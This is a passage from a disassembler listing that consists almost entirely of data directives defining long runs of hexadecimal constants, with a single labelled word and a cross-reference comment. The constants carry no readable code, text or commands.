		dd 0EF0057BCh, 50432D0Fh, 12FE92B9h, 14DFA9Ah, 0DBE55FC0h
		dd 0B8443404h, 5B12760h, 0EA72150h, 954D0336h, 586BACA0h
		dd 940210D2h, 0C5F43F23h, 0E5484130h, 18FA6981h, 72026763h
		dd 0E6023F8h, 0D9246E49h, 0C73CA236h, 86F0518Ch, 2CD20F0Ch
		dd 1B4AC5Eh, 9467D047h,	7B2828E3h, 48403B4Ah, 2EFB9683h
		dd 6C1A0314h, 24B8559Ch, 0CE5BC100h, 6A57EA1Ch,	0EF450FE5h
		dd 61001F09h, 256BEDA7h, 2D112112h, 6C3098CDh, 2EB04EACh
		dd 1842328h, 54724CEBh,	7448711Dh, 110168Ch, 0D84DF34Eh
		dd 28174425h, 2F808391h, 2C727104h, 709208F2h, 691E9B34h
		dd 46A3D600h, 6B81E3h, 61622B16h, 8B45607Bh, 6088D230h
		dd 0A143A0BFh, 6031ABA4h, 2852C6h, 50F1C490h, 814E2864h
		dd 0C7222600h, 8C2A7D0Ah, 0D6543C27h, 696E513h,	39129A98h
		dd 0ACBF3000h, 0AD5A37C3h, 0BEE40FF2h, 9F804A34h, 0CF6B78E8h
		dd 5887D90Ah, 0FCA6E085h, 5C9C14h, 3E2A6C21h, 9FA28Fh
		dd 978EE9A6h, 2F180552h, 5745A712h, 2AF3A402h, 2024ECD6h
		dd 0BF3A8362h, 54A798DFh, 2A2AB018h, 4BC08AB2h,	23A02E1Ch
		dd 891120Eh, 67802984h,	0AEE4042h, 7E4800EFh, 0F2D5D143h
		dd 900C93BCh, 8858236Ch, 0BF210C7Ch, 2EE83F4Ch,	934F4503h
		dd 94917014h, 0F1AC8Ch,	90CD359Bh, 0E84B0F8Ch, 0F400BDFCh
		dd 0D4C5B625h, 871F376Ch, 0A835CA24h, 70D4489Bh, 1E6D7D01h
		dd 6689B482h, 72AC0010h, 0C92A2D81h, 1A2600FCh,	0E7098255h
		dd 790C7553h, 0D8E42886h, 0C265249Fh, 9E23611Ch, 46C1FC09h
		dd 80E61600h, 0C4F06085h, 3B12F492h, 0D31FDFFEh, 0FAAC021Ah
		dd 0AF005596h, 0F286A19Ah, 44914A2Bh, 410B78A4h, 1039665Fh
		dd 681CC50h, 0A67902A5h, 2EF5FD86h, 0F4FF440h, 0FC851924h
		dd 4BAA6030h, 0DC740C47h, 48491D9Bh, 0AE95100h,	4FC139ACh
		dd 0F1FA58F1h, 13CF7501h, 267E3098h, 6C2B4ACCh,	61037D23h
		dd 22599325h, 0C20011B0h, 2B0FBB79h, 7D5AD24Ah,	1B080905h
		dd 3CA28052h, 942BE39Bh, 0FC392AACh, 3F122CCCh,	0A4E7009Fh
		dd 9926032Dh, 8038FE5Ch, 17F362DEh, 24673C8Dh, 32C66F81h
		dd 0F477D56Eh, 0F81FEF90h, 0F01A8AEh, 815BE378h, 180D583Dh
		dd 0C4982D8h, 0A20F1AB4h, 0C01F70F1h, 30AE483h,	0C4771DD6h
		dd 0B417EDAAh, 28807E91h, 5DA83A67h, 0FC840507h, 545234C3h
		dd 64E8C738h, 0D7E16012h, 8C4417AFh, 64C010A6h,	0EE6B4F00h
		dd 81B78A95h, 5B45E200h, 51EA6590h, 5F77054Ch, 8E37AD7Ah
		dd 3639D4Ch, 1077D9D0h,	0F684829Ch, 41120441h, 801539ACh
		dd 7EC308A1h, 0B63150h,	0F1B4B925h, 98A526AEh, 0F5730C02h
		dd 7BB0C034h, 0DC3D5828h, 0C590BA00h, 0AA23E2FEh, 1CAC2C07h
		dd 847B02DCh, 44605B7Ah, 261B32Bh, 562F1191h, 4C403424h
		dd 6B2388F6h, 4A17480Fh, 0A82EB47Ch, 2658EA50h,	2468FD17h
		dd 84D91148h, 490B039Dh, 5760A658h, 6416B2B1h, 71951E0Bh
		dd 0B80E007Eh, 912838D0h, 0D2C7A02h, 795198CAh,	190CD1DCh
		dd 4A3E60h, 0C8CF0671h,	0F10AD5Dh, 3033509Eh, 0D992C170h
		dd 6C2AF99Dh, 8AFB411Ch, 0B41215D6h, 8F41FC23h,	2A8BCCA1h
		dd 9AEDE4h, 68D3E7E5h, 0E862ECA7h, 8294BB27h, 46D64FA4h
		dd 5E7CB6B0h, 1F1F0146h, 0F9E1C4B7h, 7B18F49Bh,	96A6FC05h
		dd 0DCA09E0Ah, 85FCF991h, 0E1CB6AFDh, 0C1D2D9Ch, 1D800B91h
		dd 0E63BA7B5h, 40B8CC26h, 41D98542h, 87C9A1ABh,	98BFA9C0h
		dd 0EFE30902h, 201093F9h, 9AE8AB4Fh, 0D784509Ch, 0C8F4E805h
		dd 77DF00A2h, 53029CC1h, 0E3017629h, 0B941994Bh, 0B0317FB3h
		dd 632B4981h, 605F6011h, 6B4DFBECh, 0E4A88158h,	30803E48h
		dd 5ECA7603h, 69C0F4ADh, 48C2697Eh, 0C11100ECh,	9BFF5290h
		dd 0AC1C27FCh, 5DC26F7Ah, 40BA7850h, 1FEE419Fh,	411F8168h
		dd 0CFD014FFh, 1B40D697h, 8E00DCE3h, 4182B6D4h,	0F0DD3ECBh
		dd 6BEF3EE8h, 1DBE8400h, 0D1DA0198h, 0D0EE2F00h, 0A43A1787h
		dd 3D85B0E2h, 0C407E622h, 0D7821670h, 0A0A04796h, 1F5BC0D8h
		dd 0BA32E39h, 0E0CA9301h, 13A6FDBCh, 3DBA8AAh, 6F5F6C70h
		dd 177E182Dh, 802111CCh, 77D002A2h, 482B4C2Ch, 435F4F00h
		dd 0AFF4E024h, 465C08B4h, 18CF007Dh, 21412923h,	0F0B9A2h
		dd 667B0D6Dh, 0D54C2BD3h, 504D812Ch, 4031AD57h,	0BEC9C78h
		dd 24D778Ch, 0BA7677C5h, 5C23566Bh, 48B0FC05h, 16A1E088h
		dd 0C2780223h, 0CCF137D0h, 0BD180271h, 0F2E29900h, 0DE4FADA2h
		dd 0CA9225FDh, 477CE480h, 3B4A5077h, 72D4091h, 9E89C024h
		dd 3465EBCh, 759C9A07h,	2BE0D05Bh, 1189F8D9h, 0C80E4F2h
		dd 189BF574h, 60FB8339h, 0A60182EFh, 0E27297E7h, 67C48574h
		dd 25840A93h, 87D86831h, 5491105Ch, 535CB432h, 13974B6h
		dd 0FDED3962h, 5C6C7A41h, 3AA8305Ah, 25902B5Fh,	0C46E410Bh
		dd 0CD880B7Ch, 0AD60C010h, 3F5CCE32h, 767981A0h, 0B43CE2B4h
		dd 11D02B17h, 0D92C3C2Ch, 0B4FF644Ch, 481D5DB8h, 0FD05A7DEh
		dd 20B7103Bh, 68053D06h, 1131816h, 40CB7EE0h, 0DBC32188h
		dd 9B77CBC0h, 0ACA00255h, 35E56897h, 0ED58B47Bh, 552502D1h
		dd 0DA49A38Fh, 0AC308080h, 6090F374h, 4147C20h,	3D61D323h
		dd 0B94C0008h, 4EB09C94h, 0AF104756h, 6CC42BA2h, 6A90D48Bh
		dd 1C9A54CFh, 80BC5B54h, 0A1022B0Eh, 84AC009Ah,	1CC3AE9Ch
		dd 0BF1A508Dh, 0D103D613h, 0D0DE6DB0h, 0E167B84Ah, 0C702F569h
		dd 80C4F1F0h, 2C80446Dh, 0A200F7D7h, 27266235h,	2659C658h
		dd 1030CF75h, 0A4B67E86h, 0B465Ch, 0ACC48BE2h, 383DFDE6h
		dd 1D8AAF27h, 4080825Bh, 541C5E4Fh, 0AC75470Fh,	6407D269h
		dd 0AF804624h, 0BC7DADD5h
		dd 34465C98h, 3C626924h, 0CF766F02h, 2456AC5Fh,	420A9405h
		dd 0F9144B0h, 5876DFEh,	38A517A9h, 13D4A4B8h, 112758h
		dd 497092EBh, 58FA2907h, 5E829C96h, 685627E5h, 0D8CB2312h
		dd 0ACC8A87Ch, 80F4BE9Ch, 74BB47CDh, 0B13C13DDh, 0DE2C7065h
		dd 9C1C992Eh, 0F24A06Fh, 0EA50E5h, 1A3012D7h, 0B5711F57h
		dd 448F542Eh, 2BD04C89h, 916897BCh, 94888065h, 1E78AEFh
		dd 0E2087015h, 69B82313h, 923600CCh, 6B2E4F10h,	0A8270081h
		dd 166329E7h, 680BF806h, 0E89959DDh, 321FACh, 5EF6DEA2h
		dd 4941B9EEh, 98879500h, 43E586B8h, 7C780B8Ah, 0C0A3C69Ch
		dd 14BB916Dh, 25664100h, 4476209Bh, 6EC721Eh, 0B8933AA9h
		dd 73EA91DDh, 4684B701h, 34B3C3FFh, 2B13C06Ch, 9AB032DBh
		dd 98212A10h, 917C2F3Ch, 80906096h, 6C379324h, 7E02465Eh
		dd 5C23D12Eh, 7BA0FEC1h, 7C608271h, 4C4952D3h, 0AA92DD05h
		dd 7538802Fh, 71CBC039h, 0E4B71Dh, 0E5F79BDDh, 0B72207FAh
		dd 8DA500D8h, 3729E3DFh, 0B000909Eh, 59515C95h,	982AF1ADh
		dd 409B5B30h, 0B80F08F4h, 0BAF6BBFEh, 1A8C5C1Fh, 8EC0F89Ch
		dd 2B597BB3h, 8E154ACCh, 0E4529208h, 53E004F6h,	0DB089C20h
		dd 43A285Fh, 0C81EDC33h, 8C107B88h, 5F3560DEh, 81049B69h
		dd 39DDF07Ch, 4A744E2Ah, 0F84378A0h, 1100156Eh,	9D7A762Eh
		dd 0F9B5DBEh, 0D51AC9E6h, 87318978h, 1420D82Eh,	0E0F5D285h
		dd 0C5BAF809h, 6065C48Ch, 4A3D6Bh, 0CCA22DCh, 0F3E7CBA3h
		dd 2E69E312h, 0D9781402h, 8D38FAD7h, 59F46178h,	58B836CBh
		dd 5611070h, 7CBFD909h,	9A040058h, 762629D2h, 7DE818BCh
		dd 0C0F6018Ch, 5B55497Ch, 6938488Eh, 3931B89Ah,	2F11D15Fh
		dd 3C04A432h, 2FA0FFDh,	0FAFCC67Dh, 84A505C0h, 80C0E6BCh
		dd 49C91098h, 0C725FD1Eh, 0D84EB457h, 7C84E0AFh, 90552E94h
		dd 8CA25C10h, 0D1D22578h, 70EEE4C1h, 0FE18DA3Ch, 4A68A983h
		dd 86111AAAh, 0E482F016h, 5F0470F0h, 31EC9881h,	0B1AA3A00h
		dd 0C0E41F30h, 5A15B7C7h, 23142F75h, 807D1C6Ah,	338AA7EDh
		dd 22A9710h, 8B68C2Ah, 1F1501DCh, 9D85073Dh, 1C982810h
		dd 9393648Fh, 4730F8A1h, 4F0DFADh, 0F567FB6Ch, 0BA06D10h
		dd 0E0DA8303h, 0B865C04h, 0F5D81901h, 0D64CD4A8h, 0F4FFB705h
		dd 6CF4FD3Eh, 0EFFC63h,	43505255h, 0B822E26Ah, 409E7C9Ch
		dd 599E2680h, 2D9FE5Dh,	0F86A5630h, 447017A0h, 17579125h
		dd 960891C4h, 0B3307500h, 6B5D1A7Dh, 9E009159h,	0FBE3CDC7h
		dd 924D0506h, 39169Ch, 0D4B35E2Fh, 0B4A6F8A9h, 0BCFDBD12h
		dd 97AFDCC2h, 807E91FCh, 1A9F6507h, 66C915Ch, 0C9A96B40h
		dd 0FD609095h, 0D669003Ah, 18933B46h, 6870AD55h, 425CECA1h
		dd 74309C80h, 984B1107h, 3629D91h, 0CC076BEFh, 0DFE8D34Eh
		dd 49095879h, 0F1DD67A8h, 80551104h, 5D46BE9Fh,	2E448CA0h
		dd 0BE970396h, 40F03D8h, 9A5572D0h, 1C83B4B6h, 90F0DF24h
		dd 1DA0A17Dh, 0D630EBh,	0A6928D1Fh, 0F317402Ah,	0C44CFC77h
		dd 2A18C9AEh, 2F985062h, 9C907C5Bh, 0E24FEA09h,	7A8F04C0h
		dd 8441826Ch, 96F1897h,	69984607h, 0EC00041Ch, 2B630766h
		dd 0B0C8137Fh, 41B34ACCh, 0F5AA2394h, 0E0E826AFh, 0FAE34ACCh
		dd 0AFC6021Fh, 0F7CE08FEh, 0D1ECF00h, 0FB2CB8E0h, 35D54A10h
		dd 4C4EB59h, 310D2E7Dh,	403D8CF9h, 948F1860h, 8497C9A0h
		dd 1488C700h, 9BFE0E1Fh, 0F264F3F1h, 0B1CF178h,	0C032C8E0h
		dd 0DCA4760Dh, 22AE9A13h, 0F398081h, 42868851h,	839B90D3h
		dd 0A22300F2h, 900CAF6Ch, 0B1648B94h, 0C8A27E98h, 623133E2h
		dd 3A9D3BECh, 404EA4A7h, 0ED9B6904h, 652E1CCEh,	7C87E87Ah
		dd 0BD203409h
		db 6Eh,	74h
word_505446	dw 22Ah			; DATA XREF: ___:off_4374B8o
		dd 19F25B76h, 0D0A2325Eh, 0F4F024ACh, 0A96220Fh, 4BC547Ah
		dd 33C88667h, 3D0934A8h, 0A02B049Dh, 91912506h,	114C1D95h
		dd 68CC8060h, 1A6666Fh,	0DCC73506h, 6AF47CA8h, 0B22AEC43h
		dd 11D91313h, 0FC702299h, 510120E4h, 42D3822Fh,	5024109Ch
		dd 0EC2500F8h, 6B0FC524h, 9B28948Eh, 0FD48B4B3h, 0F349808Ch
		dd 0FBD8E1h, 7C54B3Fh, 0AC5CEE73h, 4B19043Ah, 12722088h
		dd 32B42B11h, 84824970h, 0F20F1474h, 4D460C8h, 43A1A544h
		dd 554E647h, 0AA82DC9Bh, 418F4A8h, 357AC12Dh, 91DAD100h
		dd 0EE603323h, 754B3C4Dh, 2F1A531Eh, 559CC422h,	0E068A076h
		dd 0B94C6488h, 4C964B92h, 8F2860D4h, 0B608A395h, 0A629002Ah
		dd 0ADF5BA20h, 880B4579h, 79BD90Eh, 0FF22739Eh,	94F97Bh
		dd 11232FB8h, 2A0C5E9Ah, 98496E60h, 5F41254Dh, 3C536011h
		dd 73089A80h, 0FEFA8988h, 0D3010079h, 0C9A13FA8h, 2D9D33D8h
		dd 0C8444B6Fh, 0F6147C18h, 7F0581h, 766A8A6Dh, 32CBBC38h
		dd 855CF713h, 0E49F420h, 9C33058Bh, 8E4B91CEh, 639D68h
		dd 858ECE2Bh, 0B93E486Ch, 0B1E20BAEh, 64246755h, 8E01602Dh
		dd 3D8F1E28h, 788744D1h, 6108A440h, 0CA4B1C42h,	0C36AC8FCh
		dd 0A79067E2h, 0F62752A9h, 0D9F862A6h, 180D71F8h, 66BB1DDDh
		dd 0DAB581D3h, 87825B8Fh, 2C22AA21h, 11E4C8ABh,	23E35B94h
		dd 5846824h, 30B06D9Bh,	79A4B135h, 0FC9B1808h, 7D20EC16h
		dd 0FD5625F8h, 79026806h, 290543E4h, 7414BFC9h,	2F22009Eh
		dd 0C04E9426h, 88AD5D81h, 1984C41Ah, 4459553Ah,	0AA231C68h
		dd 0C1805A5h, 0B8ECC3AEh, 27EE2E1h, 6AB0C0DCh, 0F8EF2880h
		dd 6E4803Ch, 7DD98084h,	9154E131h, 0A07A0C87h, 0DCA85C12h
		dd 0D000884h, 0FDF70410h, 3ABAA15Eh, 0C993588Ch, 0F278A253h
		dd 66B13029h, 0EC16FF1Ch, 5938D803h, 432B80DDh,	1B822F88h
		dd 0DF081C17h, 8BC360AFh, 0A9026A94h, 9515C95Ah, 8ED4596Bh
		dd 300877D9h, 2FAC3306h, 1C4C2519h, 0BC43865h, 0F5093060h
		dd 5C84EB02h, 58195918h, 84404CA0h, 0BD031000h,	0B7C77621h
		dd 541158B4h, 47BEC29Ch, 0CCC7985Dh, 0BEC29501h, 0F9C936E2h
		dd 8474206Bh, 44F3A8ADh, 8268ACF4h, 40DA6DA1h, 8E2A9Ah
		dd 47579DF4h, 0FE8DB9AFh, 0E79A1900h, 1D639692h, 5C54006Eh
		dd 0FE3C223h, 37068F72h, 0E16C3C09h, 50952310h,	5B81C31Fh
		dd 100A2287h, 5330C4E1h, 0DC41CB98h, 19E468D1h,	0C06A28B1h
		dd 108294B4h, 93A06916h, 0F45F4001h, 3C6392F9h,	0F3134101h
		dd 3024ABCBh, 5092E933h, 1CA621D3h, 0E61096F0h,	0D0F7A70Bh
		dd 0E414E5B8h, 1ABF6104h, 911D6120h, 0B009784Ch, 0DEBB0086h
		dd 9AF17952h, 9303541Fh, 5BDCD1C4h, 0AA29128Eh,	60E009A7h
		dd 0A61C04A5h, 8875B300h, 98FF8Ch, 0B1824987h, 55BCDAD3h
		dd 8EAC28EDh, 3324409Bh, 0F0FB1916h, 43F3EDD6h,	0D7014868h
		dd 0D11A433Fh, 2B1C75B8h, 57D26820h, 0DFA6006Ah, 0B664850Ah
		dd 47009CB5h, 4A66707Fh, 602C8A75h, 0AB4C39CFh,	622C0A9Ah
		dd 0CDA51C85h, 74CC6118h, 4739Dh, 16BDD74Eh, 3BA6A7h, 7D467867h
		dd 9CA2E7F6h, 0F1554132h, 5BB05AD6h, 0DDA42049h, 0F970E1C4h
		dd 3C68EC30h, 0D12F02h,	0A6B19FBCh, 38AD2B1Ah, 90F1D4B2h
		dd 44D5CAC0h, 63024CACh, 55A593F6h, 3554C690h, 0E8493A49h
		dd 2C9B16B8h, 0D4006CF3h, 3096293Ch, 2E0324BCh,	93113250h
		dd 5321091Ch, 4929C91h,	271765C0h, 0DF65BF01h, 0A545F063h
		dd 0C8C120h, 0CDA591Bh,	75BF685Ch, 302CD573h, 180B0CD7h
		dd 16705163h, 0B608169Bh, 95A005Ch, 0F8C6479h, 0C7500CFDh
		dd 6F9085BBh, 92931013h, 4E0094F7h, 0BC9FCFC1h,	19146F0Ch
		dd 10A4AC9Eh, 267784DAh, 438890FAh, 98DEC46Bh, 4432392Dh
		dd 710CB1F4h, 7D1809h, 0C7581027h, 0AD2AF0A6h, 53415669h
		dd 9887348h, 6E27D01Ch,	24E43Ch, 5C4035E9h, 0C2E7ECCFh
		dd 0BF090F00h, 8D8C06C7h, 559124Ah, 9BE84994h, 9A543C10h
		dd 0F00F2001h, 8F37A661h, 56DA530h, 0BFD926C3h,	0B6C84B90h
		dd 3A003C52h, 46F4986Ch, 57BD72h, 0DE4191BEh, 1897370Dh
		dd 77DC6253h, 0B09D9513h, 7DE204E2h, 3014F530h,	0E8A9179Ch
		dd 0BF3EA6A2h, 723A848Bh, 30F8570Dh, 6030D6BDh,	24C14C5Ah
		dd 5D049211h, 0CFB0190h, 0BE3C76AAh, 9B65E30h, 8555BBCBh
		dd 9FA94498h, 0C090F112h, 252154C2h, 7D50C8FCh,	98ABBD00h
		dd 0F7AD33EBh, 71F801D3h, 0FC77D455h, 91C5E85Eh, 6611AC99h
		dd 0A0174581h, 2CE7D27Ch, 175E813Fh, 0EA7E4A20h, 27B565ECh
		dd 50B299ACh, 55976482h, 0A3068120h, 27525A8h, 0A5AE2C84h
		dd 0AD044C44h, 3EE38403h, 0F87E63E1h, 0ED702Bh,	55AC7D41h
		dd 0C46C48F2h, 64101095h, 260E0060h, 0ED1F07AEh, 69B0C67Ah
		dd 97751D3Fh, 0F8F2594Bh, 9A44FE00h, 0DA7DED2Ch, 2CCBA64Eh
		dd 1B02E3DDh, 601A2577h, 17A9D757h, 0C8E1B32Bh,	0FC892DA8h
		dd 5FF848h, 4D1BAEF7h, 7DF8E111h, 7905E007h, 89E364F6h
		dd 6E4E9807h, 0F4909FACh, 0A0074D4h, 0BF8FB3BDh, 0F99139h
		dd 0E2264364h, 0FDC86246h, 3D0EF4A4h, 80F52B99h, 7ECBB107h
		dd 0EC7EB8h, 755773BDh,	7C0DC5C7h, 0E76A8E00h, 0AFB9CC8Bh
		dd 3FE8F174h, 0C44A0050h, 18E424DBh, 3200C798h,	0B2B4FABh
		dd 0A42EB4h, 3DAC036Dh,	4CADD091h, 305418B0h, 820B4FECh
		dd 8029D1CFh, 0D2962460h, 87A58F2h, 78C6AF8h, 4AC7A976h
		dd 0AB9AF206h, 0E4EF744Ch, 0E525DFD2h, 11B49D75h, 5C888065h
		dd 13543DABh, 0BFB8EDh,	0E4A8AAE1h, 94137C49h, 0DCCEC8AEh
		dd 20C02DC8h, 2DB0219Bh, 9CC00570h, 0A325B148h,	8810C158h
		dd 0FC796435h, 5A706BB8h, 40413A5Ah, 62AC2C69h,	71ECBDF4h
		dd 27D47F81h, 9837BE42h, 694FCE05h, 34F54CC0h, 5C10B5BCh
		dd 0A300CCF1h, 7E02F77Ah, 1C6B15C8h, 8053725Ch,	0C05EFFF3h
		dd 0B0BA8DADh, 153DC47Fh, 754C7B55h, 5296C06Ch,	2EB032Ch
		dd 0DD58E032h, 94879C76h, 5AEC321h, 9653D92Eh, 6FC0C702h
		dd 98D0585Eh, 80555858h, 18C0CFCh, 0EEA1FF20h, 23A8F395h
		dd 0EDB101D0h, 9D90F0ADh, 2BC8B831h, 8C6000E3h,	8AB0177Fh
		dd 0A3080966h, 1E91C5AFh, 404EE41h, 45DD9811h, 0D8BDDA2Ah
		dd 0FD504A02h, 0CF90167h, 431869D9h, 609EA701h,	0DAAC1854h
		dd 0DBD8402Eh, 933DC14Fh, 1532D502h, 0C864055Fh, 88116BA8h
		dd 5207C271h, 0D04FA43Ah, 0E55EF940h, 0ED29C05Fh, 8CB8840h
		dd 0B0E8950Bh, 1A0683D5h, 0B35CB376h, 9D29078Ch, 444C5F13h
		dd 0D8609CD2h, 465EA8B6h, 59200129h, 0F554CA0Bh, 105F1C4h
		dd 0C084AC3Dh, 0C60FA528h, 0ADB92040h, 1D4F91F2h, 0C88C0CBh
		dd 7CB760CEh, 0CD6C3CDh, 0FA3A536Ch, 0B8003841h, 94D322CEh
		dd 0C08019h, 7567EDBDh,	0C2D9BBA6h, 9430B15Ch, 0C6A9008Dh
		dd 0C802761Fh, 0B20E007Ah, 30D55244h, 1600F229h, 0B3999721h
		dd 0C282BAB9h, 0D62B4138h, 188114DCh, 1BAB9F96h, 3766C69h
		dd 0AD75E46Eh, 0CEE00931h, 8439B973h, 0F804869h, 28131Ah
		dd 0D287B2B1h, 0FC5F7A11h, 9FAA00B9h, 2F5C5075h, 2B0158DAh
		dd 519ABBA3h, 0A0207C7Eh, 93F0B4D9h, 6448E49Bh,	6329800h
		dd 0F73AD82Fh, 3F5F3E41h, 0F54F3080h, 5CDBAA8Bh, 4CD0764Bh
		dd 926BFDA6h, 68411C44h, 5F8EC00Ah, 19BE742Ch, 0B9F46A00h
		dd 0EAFD484Ah, 0DBA800A9h, 0CD6F62F7h, 0E2133D6Eh, 4600D35Ch
		dd 6B1FB1FAh
		dd 0F0F800BBh, 0E95AAE10h, 0E70074C6h, 0A40BB4C5h, 60A7E61Ch
		dd 18C728B3h, 0C900CDDFh, 90E90389h, 7F0AA1h, 6B1EF8FDh
		dd 0F2E7347Ah, 4305C900h, 42DC536Fh, 8DCE006Ch,	452112Bh
		dd 0C903643Fh, 1D0F20C5h, 1CF7A191h, 0EC8BD0h, 630C6086h
		dd 642B8FBCh, 0F3CC6D03h, 0D84C18C6h, 0BCB5467h, 0D9CD29A3h
		dd 7980338Eh, 5B31ABDEh, 51104760h, 0E099EAh, 0C767D3D0h
		dd 79614A34h, 6F42ED00h, 11E909B7h, 258500C2h, 84711B6Bh
		dd 600E567Ah, 0C791E48Ah, 8C9A68E5h, 0D0D504A1h, 9C00E4A2h
		dd 0FFE1B734h, 1FF8E078h, 189DE677h, 33C519DCh,	1C311E67h
		dd 241CA06h, 0E66506AFh, 0AC015E32h, 0DF20CBD6h, 84770Bh
		dd 0EA6E34FCh, 0EB568D83h, 9DD37500h, 0B6D04AECh, 3E5503E1h
		dd 0C7E27EB1h, 9907669Bh, 461C2A10h, 0A0565140h, 3AA700FAh
		dd 1B6D4924h, 554CC067h, 487600BFh, 0E0E4772Eh,	0EA1C18C7h
		dd 0D0229970h, 5534B1C7h, 843AE470h, 0F9E253h, 7E82D85Dh
		dd 5668838Fh, 40B51C34h, 0B3BA5C81h, 0A4DE1B00h, 0F518E360h
		dd 1681363h, 5A7E4296h,	4002EC23h, 2BEDAD08h, 0D0565900h
		dd 24145248h, 0F7C60184h, 975769F8h, 5021F98Ch,	6432B6A4h
		dd 9F4B6700h, 0D224F61Fh, 0F3BA035Fh, 7E4350DAh, 0CBCCA2B0h
		dd 0FE0C397Eh, 68A1E202h, 9A7F0032h, 6234A466h,	4F60EE03h
		dd 2EA05A30h, 0C59A8383h, 8C5280A1h, 475FF084h,	79629A01h
		dd 0C62C2DADh, 0E45027CDh, 310360FFh, 79481AC2h, 67198218h
		dd 0C04B44F0h, 0A865C1h, 790D5DA6h, 0FF5FAED7h,	0DEE90400h
		dd 3DEA2B7Ch, 6AEC01E7h, 5ABAC27Ah, 0BC88801Dh,	68B2B455h
		dd 9010C169h, 70F4988Dh, 0E7067CA9h, 1C50C612h,	0A87E7C71h
		dd 0A6FFFCh, 0A4B2FD11h, 0BD2A3719h, 0EAC71600h, 755DF027h
		dd 36B97F13h, 18587988h, 6E778F00h, 0D49934CAh,	0C900841Fh
		dd 18B49C88h, 3846273h,	0FA2999Fh, 7A89A0C5h, 0C0404479h
		dd 2ACA9331h, 590CF201h, 0A14B8B27h, 2A43BF8h, 0D6A555Ch
		dd 9480385Eh, 54E8DCA3h, 90C19D14h, 0FFC91EFBh,	800FF426h
		dd 484D400Fh, 0FDA61E3h, 0AC1EC55Ah, 5B17003Ch,	0A895A593h
		dd 0B7254300h, 0BD6AA2DCh, 309A3E0Fh, 809C5180h, 0D2639F7Dh
		dd 64156F01h, 5447AFC8h, 780767F0h, 0A418C062h,	2C3D5F3Eh
		dd 9C201857h, 7F07D168h, 82FD1067h, 3D3D8E1Eh, 89395040h
		dd 0E55BC6EAh, 0DE3E02Ah, 95DF0C00h, 2844F140h,	91790508h
		dd 29827D92h, 37819D20h, 1442C490h, 0C13E0803h,	0E3C80AA0h
		dd 2F003581h, 0EFC89C16h, 38156E42h, 0BCBADB5Ah, 0FB577002h
		dd 34932CE3h, 80C2082Ah, 72E9B423h, 3C00A01Fh, 5DE86443h
		dd 0D0ED0021h, 0BC424110h, 0E8A3DD24h, 4B6E4E2h, 0AD308B0Fh
		dd 53E9805Ch, 0B8E8C9h,	0D62AA44Dh, 2BDFD0F2h, 8C374600h
		dd 0E443E38Dh, 0AB3432EAh, 0D5103829h, 0E061880Dh, 88A8B088h
		dd 2F88294Ch, 0DE65880Eh, 8BAAA788h, 396F2184h,	7107912h
		dd 0FEF489A5h, 223A2722h, 1925DF1Dh, 0F0083C0Fh, 4093451Ch
		dd 94F4081h, 723F8EE4h,	28B68050h, 6205F920h, 1EC10175h
		dd 0B419DBEFh, 6E5F476h, 9322BB07h, 0C5A0C453h,	26945F26h
		dd 0CAB71Ah, 0F4240BE6h, 8D004A35h, 0CC2184C1h,	0EDBFB8h
		dd 8ABB74E0h, 0B7F8013Ch, 5B29D300h, 0E9AA3239h, 179071h
		dd 0DB098FF6h, 0BBC190DDh, 65EEB21Ch, 362B2340h, 3A24FBA2h
		dd 0ED007F53h, 0BF0849Eh, 5C1D29B2h, 0EEC041ACh, 0A2058F9h
		dd 1E910073h, 0ABAE43D2h, 6C0165B4h, 127D368Eh,	0C8CFDB72h
		dd 0A3AD07h, 0F960EB2Ch, 30A76AFBh, 4A368B00h, 0D2F2E93Fh
		dd 0DFC10077h, 74D8E619h, 327E602Bh, 0A10BF400h, 80E06DAAh
		dd 9FD0044h, 209F53D4h,	0A40033F0h, 0ACF24DDAh,	3885E901h
		dd 71FD68B3h, 0E67137h,	35306A63h, 86133DA8h, 62925F00h
		dd 2CD4710Bh, 0DF2B00CCh, 0BB1569C9h, 41007793h, 2DDA16A8h
		dd 1E590140h, 0C781D585h, 2071DD9Bh, 5132AE5h, 0C4245401h
		dd 0A14925F0h, 75743C4h, 84C814D9h, 0E9A330CCh,	5E00FC33h
		dd 8C22EBE0h, 0FC22941h, 94D3CADAh, 50672B67h, 449F793Dh
		dd 0EBE3F007h, 0BB10B220h, 777454h, 0E071DEBDh,	0E83B11C9h
		dd 0C90EB00h, 35DBEA8Eh, 8D7C95h, 49B52DFBh, 39E080B8h
		dd 55AE6900h, 815AD315h, 0B13400F0h, 3F731E1Dh,	4606805Ch
		dd 4A1CFCD0h, 0AC420198h, 3803DFF3h, 5F29DC0Ah,	1308E80Fh
		dd 44586135h, 5BFCA483h, 18900023h, 43C58955h, 0BD0CB4EBh
		dd 6AE0F738h, 686F00FAh, 4E71A4F4h, 0F0281C5Dh,	36989C47h
		dd 0ECA6C101h, 0D65B55BEh, 9EC81981h, 0C5CF3AF1h, 1896C07Fh
		dd 90F97100h, 0CE08100Fh, 0B01B001Fh, 1275934Ah, 0DB004CFBh
		dd 0A350E5D2h, 0E80CE26Ah, 0F3F73E74h, 0DFCE2700h, 73F176B1h
		dd 0E1AF0A00h, 59E9EAEBh, 4C380790h, 10E0DB6Fh,	23C2B4A3h
		dd 4974EF00h, 46DF4ECAh, 0E3CD3C1Eh, 265112h, 31B70E08h
		dd 451CBE9Ch, 12402D3Eh, 0AE5ECB98h, 475B00C2h,	0D8EBCCF7h
		dd 7B0085E1h, 37B4545Dh, 7FE6A831h, 15E24Eh, 600C6E1Ch
		dd 6598CEA3h, 493F8C00h, 931185C0h, 46920199h, 4DD60F18h
		dd 668CE0C2h, 500DD70h,	963BC4E6h, 0B10C50h, 4AF2A998h
		dd 5684035Ah, 933DD812h, 5D240600h, 993635h, 0E3346F77h
		dd 4E1E8D9Ch, 168A9509h, 7C0000BBh, 60B2F1AAh, 0C59111Ch
		dd 6A73D666h, 0BE329F63h, 0A4B7D0D9h, 6C5C001Ah, 7A1871CCh
		dd 53177B2Ah, 380152F7h, 0AF79E41Ch, 2354820h, 5BCEC413h
		dd 0E18EC088h, 0F72BFF40h, 4F6014B9h, 0FA4B1256h, 0C9A40070h
		dd 956D2EFDh, 8F008E10h, 1428A976h, 0CC3DD5h, 37BFB4AFh
		dd 6451F0Fh, 0F83A8878h, 71840252h, 0E09AF549h,	7EB71271h
		dd 7E260007h, 0E1DC4A4Bh, 28907F61h, 0EE943605h, 9000CDBCh
		dd 722F7CE5h, 0A62800F1h, 10F93FC9h, 6A00D32Bh,	58878B80h
		dd 0D667D9h, 0AC542F04h, 0A3A04C7Ah, 47C80E00h,	5AB6D07h
